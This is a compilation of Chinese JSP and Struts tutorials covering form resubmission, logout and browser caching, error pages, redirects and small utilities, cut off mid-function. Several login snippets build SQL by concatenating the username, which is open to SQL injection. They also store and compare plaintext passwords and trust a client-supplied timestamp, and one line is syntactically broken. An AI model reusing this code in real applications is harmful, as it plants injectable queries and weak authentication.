    4.结束语

    其实 JSP/Servlet 的中文encoding 并没有想像的那么复杂，虽然定位和解决问题没有定规，各种运行环境也各不尽然，但后面的原理是一样的。了解字符集的知识是解决字符问题的基础。不过，随着中文字符集的变化，不仅仅是 java 编程，中文信息处理中的问题还是会存在一段时间的。


JSP避免Form重复提交的三种方案

    1 javascript ，设置一个变量，只允许提交一次。

    ＜script language="javascript"＞

     var checkSubmitFlg = false;

     function checkSubmit() {

     if (checkSubmitFlg == true) {

     return false;

     }

     checkSubmitFlg = true;

     return true;

     }

     document.ondblclick = function docondblclick() {

     window.event.returnValue = false;

     }

     document.onclick = function doconclick() {

     if (checkSubmitFlg) {

     window.event.returnValue = false;

     }

     }

    ＜/script＞

    ＜html:form action="myAction.do" method="post" onsubmit="return checkSubmit();"＞

    2 还是javascript，将提交按钮或者image置为disable

     ＜html:form action="myAction.do" method="post"

     onsubmit="getElById('submitInput').disabled = true; return true;"＞

     ＜html:image styleId="submitInput" src="images/ok_b.gif" border="0" /＞

     ＜/html:form＞

    3 利用struts的同步令牌机制

    利用同步令牌（Token）机制来解决Web应用中重复提交的问题，Struts也给出了一个参考实现。

    基本原理：

    服务器端在处理到达的请求之前，会将请求中包含的令牌值与保存在当前用户会话中的令牌值进行比较，看是否匹配。在处理完该请求后，且在答复发送给客户端之前，将会产生一个新的令牌，该令牌除传给客户端以外，也会将用户会话中保存的旧的令牌进行替换。这样如果用户回退到刚才的提交页面并再次提交的话，客户端传过来的令牌就和服务器端的令牌不一致，从而有效地防止了重复提交的发生。

    if (isTokenValid(request, true)) {

     // your code here

     return mapping.findForward("success");

    } else {

     saveToken(request);

     return mapping.findForward("submitagain");

    }

    Struts根据用户会话ID和当前系统时间来生成一个唯一（对于每个会话）令牌的，具体实现可以参考TokenProcessor类中的generateToken()方法。

    1. //验证事务控制令牌,＜html:form ＞会自动根据session中标识生成一个隐含input代表令牌，防止两次提交

    2. 在action中：

     //＜input type="hidden" name="org.apache.struts.taglib.html.TOKEN"

     // value="6aa35341f25184fd996c4c918255c3ae"＞

     if (!isTokenValid(request))

     errors.add(ActionErrors.GLOBAL_ERROR,

     new ActionError("error.transaction.token"));

     resetToken(request); //删除session中的令牌

    3. action有这样的一个方法生成令牌

     protected String generateToken(HttpServletRequest request) {

     HttpSession session = request.getSession();

     try {

     byte id[] = session.getId().getBytes();

     byte now[] =

     new Long(System.currentTimeMillis()).toString().getBytes();

     MessageDigest md = MessageDigest.getInstance("MD5");

     md.update(id);

     md.update(now);

     return (toHex(md.digest()));

     } catch (IllegalStateException e) {

     return (null);

     } catch (NoSuchAlgorithmException e) {

     return (null);

     }

     }


JSP初学心得

测试环境为 jdk1.2.2 jswdk-1.0 winnt4.0中文版。

1。java是大小写敏感的，用过其他编程语言的人最容易犯这个错误，尤其是刚上手的时候。我刚开始调试jsp的时50%以上的编译错误是都是因为这个。

2。java的调用过程都是要加括号的，一开始比较容易忽视，如title=request.getParameter("title").trim();

3。jsp中对应asp中的request.form()和request.querystring()的解决方法。
jsp中取得参数没有form和queryString之分，都是通过request.getParameter("XXXX")来取得。虽然jsp也有request.getQueryString()方法，但测试结果是 test.jsp?id=1&page=20 得到 id=1&page=20。
如果url和form有相同的参数名称呢？下面是一段测试代码：

name都是id，结果是url的参数优先得到，jsp的这种处理方式和asp相比我觉的各有所长。

4。头疼的汉字处理问题。
在其他的文章里曾说到在中文NT环境下如下语句输出会得到乱码，
<%="你好"%>及 out.print("你好");等。解决方法是只要对字符串变量进行编码就可以得到正确结果,如下代码可以得到正确的输出：

<% String title="你好";
byte[] tmpbyte=title.getBytes("ISO8859_1");
title=new String(tmpbyte);
out.print(title); %>或者<%=title%>

关于sql语句汉字问题，例句为 select * from test where title='谁是傻瓜'
在jdbc-odbc驱动下连db2，不管是原句还是对sql语句进行编码后都死活通不过。
换了ibm的jdbc直接驱动后，对sql语句编码后程序可以通过。

这个问题的产生大概是中文NT的原因，在其他环境下可能就没汉字处理问题了，据说ibm的web sphere对中文支持的很好，这也给jsp的开发带来一定的通用性问题。据说对字符串编码是一种通用的解决方法，不过没有这么多环境来测试。

5。在asp中经常使用到字符串判断语句如 if state="真是傻瓜" then.....
在java中String变量不是一个简单的变量而是一个类实例，不同的方法会得到不同的结果
a.
String str1="我是傻瓜";
String str2="我是傻瓜"; (or String str2="我是"+"傻瓜"; )
if (str1==str2)
out.print("yes");
else
out.print("no");
结果是"yes"。
大概是编译优化，str1,str2指向同一个类实例；

b.
String str1,str2,str3;
str1="我是傻瓜";
str2="我是";
str3=str2+"傻瓜";
if (str1==str3)
out.print("yes");
else
out.print("no");
结果是"no"。

String str1=new String("我是傻瓜");
String str2=new String("我是傻瓜");
if (str1==str2)
out.print("yes");
else
out.print("no");
结果是"no"。

String str1=new String("我是傻瓜");
String str2=new String("我是傻瓜");
if (str1.compareTo(str2)==0)
out.print("yes");
else
out.print("no");
结果是"yes"。

所以在jsp中判断字符串要使用compareTo方法，用惯传统语言还真一下子适应不过来，熟悉java的朋友应该没这个问题。

6。如何判断数据库为空？
result = stmt.executeQuery(sql);
if (result.next())
......
result执行后游标出于一个未明的状态，不能进行状态判断，也不能取值，一定要next()一下才可以用。

7。在jsp中实现分页。
page是关键字，不能当变量。
conn.jsp

<%
String sDBDriver = "COM.ibm.db2.jdbc.app.DB2Driver";
String sConnStr = "jdbc:db2:faq";
Connection conn = null;
Statement stmt = null;
ResultSet rs=null;
try {
Class.forName(sDBDriver);
}
catch(java.lang.ClassNotFoundException e) {
out.print("faq(): " + e.getMessage());
}

try{
conn = DriverManager.getConnection(sConnStr,"wsdemo","wsdemo1");
stmt = conn.createStatement();
}catch(SQLException e){
out.print(e.toString());
}
%>
query.jsp

<%@ page language="java" import="java.sql.*" %>


jsp的出错处理-www.knowsky.com

以下页面将产生一个例外：

<%@ page error Page="errorpge.jsp" %>
<HTML>
<HEAD>
<TITLE>JSP 1.0 Error Page Demo</TITLE>
</HEAD>
<BODY>
<H1>JSP 1.0 Error Page Demo</H1>
<%
String s = null;
s.getBytes(); //这将给出 NullPointException例外
%>
</BODY>
</HTML>

在出错后以下页面被调用：

<html>
<body bgcolor="black" text="#FFFFFF">
<%--@ page isErrorPage="true" --%>
<h1> Attenion the fellowing error occurs</h1><br>
<pre><%= exception.getMessage() %></pre>
</body>

</html>

转自：动态网站制作指南 | www.knowsky.com


JSP和Struts解决用户退出问题

    在一个有密码保护的Web应用中，正确处理用户退出过程并不仅仅只需调用HttpSession的invalidate()方法。现在大部分浏览器上都有后退和前进按钮，允许用户后退或前进到一个页面。如果在用户在退出一个Web应用后按了后退按钮浏览器把缓存中的页面呈现给用户，这会使用户产生疑惑，他们会开始担心他们的个人数据是否安全。许多Web应用强迫用户退出时关闭整个浏览器，这样，用户就无法点击后退按钮了。还有一些使用javascript，但在某些客户端浏览器这却不一定起作用。这些解决方案都很笨拙且不能保证在任一情况下100%有效，同时，它也要求用户有一定的操作经验。

    这篇文章以示例阐述了正确解决用户退出问题的方案。作者Kevin Le首先描述了一个密码保护Web应用，然后以示例程序解释问题如何产生并讨论解决问题的方案。文章虽然是针对JSP页面进行阐述，但作者所阐述的概念很容易理解切能够为其他Web技术所采用。最后作者展示了如何用Jakarta Struts优雅地解决这一问题。

    大部分Web应用不会包含象银行账户或信用卡资料那样机密的信息，但一旦涉及到敏感数据，我们就需要提供一类密码保护机制。举例来说，一个工厂中工人通过Web访问他们的时间安排、进入他们的训练课程以及查看他们的薪金等等。此时应用SSL(Secure Socket Layer)有点杀鸡用牛刀的感觉，但不可否认，我们又必须为这些应用提供密码保护，否则，工人（也就是Web应用的使用者）可以窥探到工厂中其他雇员的私人机密信息。

    与上述情形相似的还有位处图书馆、医院等公共场所的计算机。在这些地方，许多用户共同使用几台计算机，此时保护用户的个人数据就显得至关重要。设计良好编写优秀的应用对用户专业知识的要求少之又少。

    我们来看一下现实世界中一个完美的Web应用是如何表现的：一个用户通过浏览器访问一个页面。Web应用展现一个登陆页面要求用户输入有效的验证信息。用户输入了用户名和密码。此时我们假设用户提供的身份验证信息是正确的，经过了验证过程，Web应用允许用户浏览他有权访问的区域。用户想退出时，点击退出按钮，Web应用要求用户确认他是否则真的需要退出，如果用户确定退出，Session结束，Web应用重新定位到登陆页面。用户可以放心的离开而不用担心他的信息会泄露。另一个用户坐到了同一台电脑前，他点击后退按钮，Web应用不应该出现上一个用户访问过的任何一个页面。事实上，Web应用在第二个用户提供正确的验证信息之前应当一直停留在登陆页面上。

    通过示例程序，文章向您阐述了如何在一个Web应用中实现这一功能。

    JSP示例

    为了更为有效地阐述实现方案，本文将从展示一个示例应用logoutSampleJSP1中碰到的问题开始。这个示例代表了许多没有正确解决退出过程的Web应用。logoutSampleJSP1包含了下述jsp页面：login.jsp, home.jsp, secure1.jsp, secure2.jsp, logout.jsp, loginAction.jsp, and logoutAction.jsp。其中页面home.jsp, secure1.jsp, secure2.jsp, 和logout.jsp是不允许未经认证的用户访问的，也就是说，这些页面包含了重要信息，在用户登陆之前或者退出之后都不应该出现在浏览器中。login.jsp包含了用于用户输入用户名和密码的form。logout.jsp页包含了要求用户确认是否退出的form。loginAction.jsp和logoutAction.jsp作为控制器分别包含了登陆和退出代码。

    第二个示例应用logoutSampleJSP2展示了如何解决示例logoutSampleJSP1中的问题。然而，第二个应用自身也是有疑问的。在特定的情况下，退出问题还是会出现。

    第三个示例应用logoutSampleJSP3在第二个示例上进行了改进，比较完善地解决了退出问题。

    最后一个示例logoutSampleStruts展示了Struts如何优美地解决登陆问题。

    注意：本文所附示例在最新版本的Microsoft Internet Explorer (IE), Netscape Navigator, Mozilla, FireFox和Avant浏览器上测试通过。

    Login action

    Brian Pontarelli的经典文章《J2EE Security: Container Versus Custom》讨论了不同的J2EE认证途径。文章同时指出，HTTP协议和基于form的认证并未提供处理用户退出的机制。因此，解决途径便是引入自定义的安全实现机制。

    自定义的安全认证机制普遍采用的方法是从form中获得用户输入的认证信息，然后到诸如LDAP (lightweight directory access protocol)或关系数据库的安全域中进行认证。如果用户提供的认证信息是有效的，登陆动作往HttpSession对象中注入某个对象。HttpSession存在着注入的对象则表示用户已经登陆。为了方便读者理解，本文所附的示例只往HttpSession中写入一个用户名以表明用户已经登陆。清单1是从loginAction.jsp页面中节选的一段代码以此阐述登陆动作：

    Listing 1
//...
//initialize RequestDispatcher object; set forward to home page by default
RequestDispatcher rd = request.getRequestDispatcher("home.jsp");

//Prepare connection and statement
rs = stmt.executeQuery("select password from USER where userName = '" + userName + "'");
if (rs.next()) {
  //Query only returns 1 record in the result set; only 1
  password per userName which is also the primary key
  if (rs.getString("password").equals(password)) { //If valid password
    session.setAttribute("User", userName); //Saves username string in the session object
  }
  else { //Password does not match, i.e., invalid user password
    request.setAttribute("Error", "Invalid password.");

    rd = request.getRequestDispatcher("login.jsp");
  }
} //No record in the result set, i.e., invalid username
else {

  request.setAttribute("Error", "Invalid user name.");
  rd = request.getRequestDispatcher("login.jsp");
}
}

//As a controller, loginAction.jsp finally either forwards to "login.jsp" or "home.jsp"
rd.forward(request, response);
//...

    本文所附示例均以关系型数据库作为安全域，但本文所阐述的观点对任何类型的安全域都是适用的。

    Logout action

    退出动作就包含了简单的删除用户名以及对用户的HttpSession对象调用invalidate()方法。清单2是从loginoutAction.jsp页面中节选的一段代码以此阐述退出动作：

    Listing 2
//...
session.removeAttribute("User");
session.invalidate();
//...

    阻止未经认证访问受保护的JSP页面

    从form中获取用户提交的认证信息并经过验证后，登陆动作简单地往 HttpSession对象中写入一个用户名，退出动作则做相反的工作，它从用户的HttpSession对象中删除用户名并调用invalidate()方法销毁HttpSession。为了使登陆和退出动作真正发挥作用，所有受保护的JSP页面都应该首先验证HttpSession中是否包含了用户名以确认当前用户是否已经登陆。如果HttpSession中包含了用户名，也就是说用户已经登陆，Web应用则将剩余的JSP页发送给浏览器，否则，JSP页将跳转到登陆页login.jsp。页面home.jsp, secure1.jsp, secure2.jsp和logout.jsp均包含清单3中的代码段：

    Listing 3
//...
String userName = (String) session.getAttribute("User");
if (null == userName) {
  request.setAttribute("Error", "Session has ended. Please login.");
  RequestDispatcher rd = request.getRequestDispatcher("login.jsp");
  rd.forward(request, response);
}
//...
//Allow the rest of the dynamic content in this JSP to be served to the browser
//...

    在这个代码段中，程序从HttpSession中减缩username字符串。如果字符串为空，Web应用则自动中止执行当前页面并跳转到登陆页，同时给出Session has ended. Please log in.的提示；如果不为空，Web应用则继续执行，也就是把剩余的页面提供给用户。

    运行logoutSampleJSP1

    运行logoutSampleJSP1将会出现如下几种情形：

    1) 如果用户没有登陆，Web应用将会正确中止受保护页面home.jsp, secure1.jsp, secure2.jsp和logout.jsp的执行，也就是说，假如用户在浏览器地址栏中直接敲入受保护JSP页的地址试图访问，Web应用将自动跳转到登陆页并提示Session has ended.Please log in.

    2) 同样的，当一个用户已经退出，Web应用也会正确中止受保护页面home.jsp, secure1.jsp, secure2.jsp和logout.jsp的执行

    3) 用户退出后，如果点击浏览器上的后退按钮，Web应用将不能正确保护受保护的页面——在Session销毁后（用户退出）受保护的JSP页重新在浏览器中显示出来。然而，如果用户点击返回页面上的任何链接，Web应用将会跳转到登陆页面并提示Session has ended.Please log in.

    阻止浏览器缓存

    上述问题的根源在于大部分浏览器都有一个后退按钮。当点击后退按钮时，默认情况下浏览器不是从Web服务器上重新获取页面，而是从浏览器缓存中载入页面。基于Java的Web应用并未限制这一功能，在基于PHP、ASP和.NET的Web应用中也同样存在这一问题。

    在用户点击后退按钮后，浏览器到服务器再从服务器到浏览器这样通常意思上的HTTP回路并没有建立，仅仅只是用户，浏览器和缓存进行了交互。所以，即使包含了清单3上的代码来保护JSP页面，当点击后退按钮时，这些代码是不会执行的。

    缓存的好坏，真是仁者见仁智者见智。缓存的确提供了一些便利，但通常只在使用静态的HTML页面或基于图形或影响的页面你才能感受到。而另一方面，Web应用通常是基于数据的，数据通常是频繁更改的。与从缓存中读取并显示过期的数据相比，提供最新的数据才是更重要的！

    幸运的是，HTTP头信息“Expires”和“Cache-Control”为应用程序服务器提供了一个控制浏览器和代理服务器上缓存的机制。HTTP头信息Expires告诉代理服务器它的缓存页面何时将过期。HTTP1.1规范中新定义的头信息Cache-Control可以通知浏览器不缓存任何页面。当点击后退按钮时，浏览器重新访问服务器已获取页面。如下是使用Cache-Control的基本方法：

    1) no-cache:强制缓存从服务器上获取新的页面

    2) no-store: 在任何环境下缓存不保存任何页面

    HTTP1.0规范中的Pragma:no-cache等同于HTTP1.1规范中的Cache-Control:no-cache，同样可以包含在头信息中。

    通过使用HTTP头信息的cache控制，第二个示例应用logoutSampleJSP2解决了logoutSampleJSP1的问题。logoutSampleJSP2与logoutSampleJSP1不同表现在如下代码段中，这一代码段加入进所有受保护的页面中:

    //...
response.setHeader("Cache-Control","no-cache"); //Forces caches to obtain a new copy of the page from the origin server
response.setHeader("Cache-Control","no-store"); //Directs caches not to store the page under any circumstance
response.setDateHeader("Expires", 0); //Causes the proxy cache to see the page as "stale"
response.setHeader("Pragma","no-cache"); //HTTP 1.0 backward compatibility
String userName = (String) session.getAttribute("User");
if (null == userName) {
  request.setAttribute("Error", "Session has ended. Please login.");
  RequestDispatcher rd = request.getRequestDispatcher("login.jsp");
  rd.forward(request, response);
}
//...

    通过设置头信息和检查HttpSession中的用户名确保了浏览器不缓存页面，同时，如果用户未登陆，受保护的JSP页面将不会发送到浏览器，取而代之的将是登陆页面login.jsp。

    运行logoutSampleJSP2

    运行logoutSampleJSP2后将回看到如下结果：

    1) 当用户退出后试图点击后退按钮，浏览器并不会显示受保护的页面，它只会现实登陆页login.jsp同时给出提示信息Session has ended. Please log in.

    2) 然而，当按了后退按钮返回的页是处理用户提交数据的页面时，IE和Avant浏览器将弹出如下信息提示：

    警告：页面已过期……（你肯定见过）

    选择刷新后前一个JSP页面将重新显示在浏览器中。很显然，这不是我们所想看到的因为它违背了logout动作的目的。发生这一现象时，很可能是一个恶意用户在尝试获取其他用户的数据。然而，这个问题仅仅出现在后退按钮对应的是一个处理POST请求的页面。

    记录最后登陆时间

    上述问题之所以出现是因为浏览器将其缓存中的数据重新提交了。这本文的例子中，数据包含了用户名和密码。无论是否给出安全警告信息，浏览器此时起到了负面作用。

    为了解决logoutSampleJSP2中出现的问题，logoutSampleJSP3的login.jsp在包含username和password的基础上还包含了一个称作lastLogon的隐藏表单域，此表单域动态的用一个long型值初始化。这个long型值是调用System.currentTimeMillis()获取到的自1970年1月1日以来的毫秒数。当login.jsp中的form提交时，loginAction.jsp首先将隐藏域中的值与用户数据库中的值进行比较。只有当lastLogon表单域中的值大于数据库中的值时Web应用才认为这是个有效的登陆。

    为了验证登陆，数据库中lastLogon字段必须以表单中的lastLogon值进行更新。上例中，当浏览器重复提交数据时，表单中的lastLogon值不比数据库中的lastLogon值大，因此，loginAction转到login.jsp页面，并提示Session has ended.Please log in.清单5是loginAction中节选的代码段：

    清单5

    //...
RequestDispatcher rd = request.getRequestDispatcher("home.jsp"); //Forward to homepage by default
//...
if (rs.getString("password").equals(password)) {
  //If valid password
  long lastLogonDB = rs.getLong("lastLogon");
  if (lastLogonForm ＞ lastLogonDB) {
    session.setAttribute("User", userName); //Saves username string in the session object
    stmt.executeUpdate("update USER set lastLogon= " + lastLogonForm + " where userName = '" + userName + "'");
  }
  else {
    request.setAttribute("Error", "Session has ended. Please login.");
    rd = request.getRequestDispatcher("login.jsp"); }
  }
  else { //Password does not match, i.e., invalid user password
    request.setAttribute("Error", "Invalid password.");
    rd = request.getRequestDispatcher("login.jsp");
  }
  //...
  rd.forward(request, response);
//...

    为了实现上述方法，你必须记录每个用户的最后登陆时间。对于采用关系型数据库安全域来说，这点可以可以通过在某个表中加上lastLogin字段轻松实现。LDAP以及其他的安全域需要稍微动下脑筋，但很显然是可以实现的。

    表示最后登陆时间的方法有很多。示例logoutSampleJSP3利用了自1970年1月1日以来的毫秒数。这个方法在许多人在不同浏览器中用一个用户账号登陆时也是可行的。

    运行logoutSampleJSP3

    运行示例logoutSampleJSP3将展示如何正确处理退出问题。一旦用户退出，点击浏览器上的后退按钮在任何情况下都不会是受保护的页面在浏览器上显示出来。这个示例展示了如何正确处理退出问题而不需要额外的培训。

    为了使代码更简练有效，一些冗余的代码可以剔除掉。一种途径就是把清单4中的代码写到一个单独的JSP页中，通过标签＜jsp:include＞其他页面也可以引用。

    Struts框架下的退出实现

    与直接使用JSP或JSP/servlets相比，另一个可选的方案是使用Struts。为一个基于Struts的Web应用添加一个处理退出问题的框架可以优雅地不费气力的实现。这部分归功于Struts是采用MVC设计模式的因此将模型和视图清晰的分开。另外，Java是一个面向对象的语言，其支持继承，可以比JSP中的脚本更为容易地实现代码重用。在Struts中，清单4中的代码可以从JSP页面中移植到Action类的execute()方法中。

    此外，我们还可以定义一个继承Struts Action类的基本类，其execute()方法中包含了清单4中的代码。通过使用类继承机制，其他类可以继承基本类中的通用逻辑来设置HTTP头信息以及检索HttpSession对象中的username字符串。这个基本类是一个抽象类并定义了一个抽象方法executeAction()。所有继承自基类的子类都应实现exectuteAction()方法而不是覆盖它。清单6是基类的部分代码：

    清单6

    public abstract class BaseAction extends Action {
  public ActionForward execute(ActionMapping mapping, ActionForm form,HttpServletRequest request, HttpServletResponse response)
  throws IOException, ServletException {
    response.setHeader("Cache-Control","no-cache");
    //Forces caches to obtain a new copy of the page from the origin server
    response.setHeader("Cache-Control","no-store");
    //Directs caches not to store the page under any circumstance
    response.setDateHeader("Expires", 0); //Causes the proxy cache to see the page as "stale"
    response.setHeader("Pragma","no-cache"); //HTTP 1.0 backward compatibility

    if (!this.userIsLoggedIn(request)) {
      ActionErrors errors = new ActionErrors();
      errors.add("error", new ActionError("logon.sessionEnded"));
      this.saveErrors(request, errors);
      return mapping.findForward("sessionEnded");
    }
    return executeAction(mapping, form, request, response);
  }

  protected abstract ActionForward executeAction(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
  throws IOException, ServletException;

  private boolean userIsLoggedIn(HttpServletRequest request) {
    if (request.getSession().getAttribute("User") == null) {
      return false;
    }

    return true;
  }
}

    清单6中的代码与清单4中的很相像，仅仅只是用ActionMapping findForward替代了RequestDispatcher forward。清单6中，如果在HttpSession中未找到username字符串，ActionMapping对象将找到名为sessionEnded的forward元素并跳转到对应的path。如果找到了，子类将执行其实现了executeAction()方法的业务逻辑。因此，在配置文件struts-web.xml中为所有子类声明个一名为sessionEnded的forward元素是必须的。清单7以secure1 action阐明了这样一个声明：

    清单7

    ＜action path="/secure1"
type="com.kevinhle.logoutSampleStruts.Secure1Action"
scope="request"＞
＜forward name="success" path="/WEB-INF/jsps/secure1.jsp"/＞
＜forward name="sessionEnded" path="/login.jsp"/＞
＜/action＞

    继承自BaseAction类的子类Secure1Action实现了executeAction()方法而不是覆盖它。Secure1Action类不执行任何退出代码，如清单8：

public class Secure1Action extends BaseAction {
  public ActionForward executeAction(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
  throws IOException, ServletException {

    HttpSession session = request.getSession();
    return (mapping.findForward("success"));
  }
}

    只需要定义一个基类而不需要额外的代码工作，上述解决方案是优雅而有效的。不管怎样，将通用的行为方法写成一个继承StrutsAction的基类是许多Struts项目的共同经验，值得推荐。

    结论

    本文阐述了解决退出问题的方案，尽管方案简单的令人惊讶，但却在所有情况下都能有效地工作。无论是对JSP还是Struts，所要做的不过是写一段不超过50行的代码以及一个记录用户最后登陆时间的方法。在Web应用中混合使用这些方案能够使拥护的私人数据不致泄露，同时，也能增加用户的经验。


JSP例程 - 获取各种CGI环境变量

＜%--
作者：XXX[？？？@21cn.com]
日期：2000-09-19
版本：1.0
功能：JSP例程 - 获取各种CGI环境变量
--%＞

＜%@ page session="false" import="java.util.*" %＞

＜%!
Enumeration enumNames;
String strName,strValue;
%＞

＜html＞
＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜title＞JSP例程 - 获取各种CGI环境变量＜/title＞
＜/head＞
＜body＞
＜table border=1 cellspacing=0 cellpadding=0 align=center＞
＜tr＞
＜th＞Name＜/th＞
＜th＞Value＜/th＞
＜/tr＞
＜%
enumNames = request.getHeaderNames();
while(enumNames.hasMoreElements()){
strName = (String)enumNames.nextElement();
strValue = request.getHeader(strName);
%＞
＜tr＞
＜td＞&nbsp;＜%=strName%＞＜/td＞
＜td＞&nbsp;＜%=strValue%＞＜/td＞
＜/tr＞
＜%
}
%＞
＜tr＞
＜th＞Name＜/th＞
＜th＞Value＜/th＞
＜/tr＞
＜tr＞
＜td＞&nbsp;CharacterEncoding＜/td＞
＜td＞&nbsp;＜%=request.getCharacterEncoding()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;CONTENT_LENGTH＜/td＞
＜td＞&nbsp;＜%=request.getContentLength()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;CONTENT_TYPE＜/td＞
＜td＞&nbsp;＜%=request.getContentType()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;SERVER_PROTOCOL＜/td＞
＜td＞&nbsp;＜%=request.getProtocol()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;REMOTE_ADDR＜/td＞
＜td＞&nbsp;＜%=request.getRemoteAddr()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;REMOTE_HOST＜/td＞
＜td＞&nbsp;＜%=request.getRemoteHost()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;Scheme＜/td＞
＜td＞&nbsp;＜%=request.getScheme()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;SERVER_NAME＜/td＞
＜td＞&nbsp;＜%=request.getServerName()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;SERVER_PORT＜/td＞
＜td＞&nbsp;＜%=request.getServerPort()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;AUTH_TYPE＜/td＞
＜td＞&nbsp;＜%=request.getAuthType()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;REQUEST_METHOD＜/td＞
＜td＞&nbsp;＜%=request.getMethod()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;PATH_INFO＜/td＞
＜td＞&nbsp;＜%=request.getPathInfo()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;PATH_TRANSLATED＜/td＞
＜td＞&nbsp;＜%=request.getPathTranslated()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;QUERY_STRING＜/td＞
＜td＞&nbsp;＜%=request.getQueryString()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;REMOTE_USER＜/td＞
＜td＞&nbsp;＜%=request.getRemoteUser()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;REQUEST_URI＜/td＞
＜td＞&nbsp;＜%=request.getRequestURI()%＞＜/td＞
＜/tr＞
＜tr＞
＜td＞&nbsp;SCRIPT_NAME＜/td＞
＜td＞&nbsp;＜%=request.getServletPath()%＞＜/td＞
＜/tr＞
＜/table＞
＜/body＞
＜/html＞


JSP例程 - 在JSP中定义函数

＜%--
作者：XXX[???@21cn.com]
日期：2000-09-19
版本：1.0
功能：JSP例程 - 在JSP中定义函数
--%＞

＜%!
String hello(){
return "您好，朋友，欢迎进入JSP世界，^_^";
}
%＞

＜html＞
＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜title＞JSP例程 - 在JSP中定义函数＜/title＞
＜/head＞
＜body＞
＜%=hello()%＞
＜/body＞
＜/html＞


JSP如何保存用户上次登录时间-www.knowsky.com

代码是以Access库为例,日期对象使用的java.sql.Date()类型，因为据测试java.util.Date类型是不能添加到DateTime类型的字段中的：作者：淘特网

出处：http://www.tot.name/

import java.sql.*;
import java.text.*;

/**
* 代码
*/

public class MSAccessDB {
public static SimpleDateFormat sd=new SimpleDateFormat("MMM dd yyyy");
private PreparedStatement pStmt=null;
private Statement stmt=null;
private Connection msConn=null;

public MSAccessDB() {
try {
jbInit();
int userID=1;
listLoginData();//列出用户信息,上次登录时间...
updateUserLogin(userID);//更新用户表中的信息，登录时间...
listLoginData();//再次显示用户信息，以便对比
}
catch(Exception e) {
e.printStackTrace();
}
}
private void listLoginData() throws SQLException {
ResultSet rs=stmt.executeQuery("select * from user_table");
while (rs.next()) {
System.out.print(rs.getInt("user_id")+"\t");
System.out.print(rs.getString("nick_name")+"\t");
System.out.print(rs.getString("last_name")+"\t");
System.out.print(rs.getString("first_name")+"\t");
System.out.print(sd.format(rs.getDate("last_access_date"))+"\n");
}
}
private void updateUserLogin(int userID) throws SQLException {
java.sql.Date today=new java.sql.Date(System.currentTimeMillis());
pStmt.setDate(1,today);
pStmt.setInt(2,userID);
pStmt.executeUpdate();
}
private void jbInit() throws Exception {
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
msConn=DriverManager.getConnection("jdbc:odbc:test_db;;;");
String psStr="update user_table set last_access_date=? where user_id=?";
pStmt=msConn.prepareStatement(psStr);
stmt=msConn.createStatement();
}

public static void main(String[] args) {
MSAccessDB mdb=new MSAccessDB();
}
}

转自：动态网站制作指南 | www.knowsky.com


Jsp如何实现网页的重定向-www.knowsky.com

    1．可以使用：

    response.sendRedirect("http://www.foo.com/path/error.html");

    2．可以手工修改HTTP header的Location属性，如下：

＜%
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
String newLocn = "/newpath/index.html";
response.setHeader("Location",newLocn);
%＞

    3．也可以使用forward:

    ＜jsp:forward page="/newpage.jsp" /＞

    请注意：只能在任何输出还没有发送到客户端之前使用这种方式。

    5.6 类似global.asa的做法

    在JSP中没有global.asa的对应物。但可以有一个workaround来运行。例如，如果你需要存储或存取application scope变量，你总是可以创建一个Javabean，并在页面中需要这些变量的地方将它包含进来。

＜jsp:useBean id="globals" scope="application" class="com.xxx.GlobalBean"/＞

    但是，也有一些产品具有这样的对应：

    Allaire公司的产品JRun 3.0将提供global.jsa。JRun 2.3.3仍然给予支持，但只对JSP 0.92。当JRun 3.0最终推出时它将支持用于JSP 1.0和1.1的global.jsa。

    你可以从http://beta.allaire.com/jrun30得到JRun 3.0 beta 5

    另外，Oracle的JSP支持globals.jsa。

    5.7 jsp显示当前时间

＜%@ page import="Java.util.*, Java.text.*" %＞
＜HTML＞
＜HEAD＞
＜TITLE＞JSP to display the current time＜/TITLE＞
＜/HEAD＞
＜BODY＞
The current time is:
＜%
Date now = new Date();
out.println(DateFormat.getTimeInstance().format(now));
%＞
＜/BODY＞
＜/HTML＞

    5.8在JSP中创建目录 Mkdir(String path)

＜%@ page import="Java.io.*" %＞
＜%!
String Mkdir(String path)
{
String msg=null;
Java.io.File dir;

// 新建文件对象
dir =new Java.io.File(path);
if (dir == null) {
msg = "错误原因:＜BR＞对不起，不能创建空目录！";
return msg;
}
        if (dir.isFile()) {
        msg = "错误原因:＜BR＞已有同名文件＜B＞" + dir.getAbsolutePath() + "＜/B＞存在。";
        return msg;
        }
        if (!dir.exists())
{
        boolean result = dir.mkdirs();
                if (result == false) {
        msg = "错误原因:＜BR＞目录＜b＞" + dir.getAbsolutePath() + "＜/B＞创建失败，原因不明！";
                return msg;
        }
      // 如果成功创建目录，则无输出。
        // msg ="成功创建目录: ＜B＞" + dir.getAbsolutePath() + "＜/B＞";
        return msg;
        }
    else {
            msg = "错误原因:＜BR＞目录＜b＞" + dir.getAbsolutePath() + "＜/b＞已存在。";
        }
    return msg;
}
%＞
＜%
String filepath = "/usr/home/hoyi/html/dir";
String opmsg = Mkdir(filepath);
%＞

    5.9将return 转为＜br＞函数

public static String returnToBr(String sStr)
{
if (sStr == null // sStr.equals(""))
{
return sStr;
}

String sTmp = new String();
int i = 0;

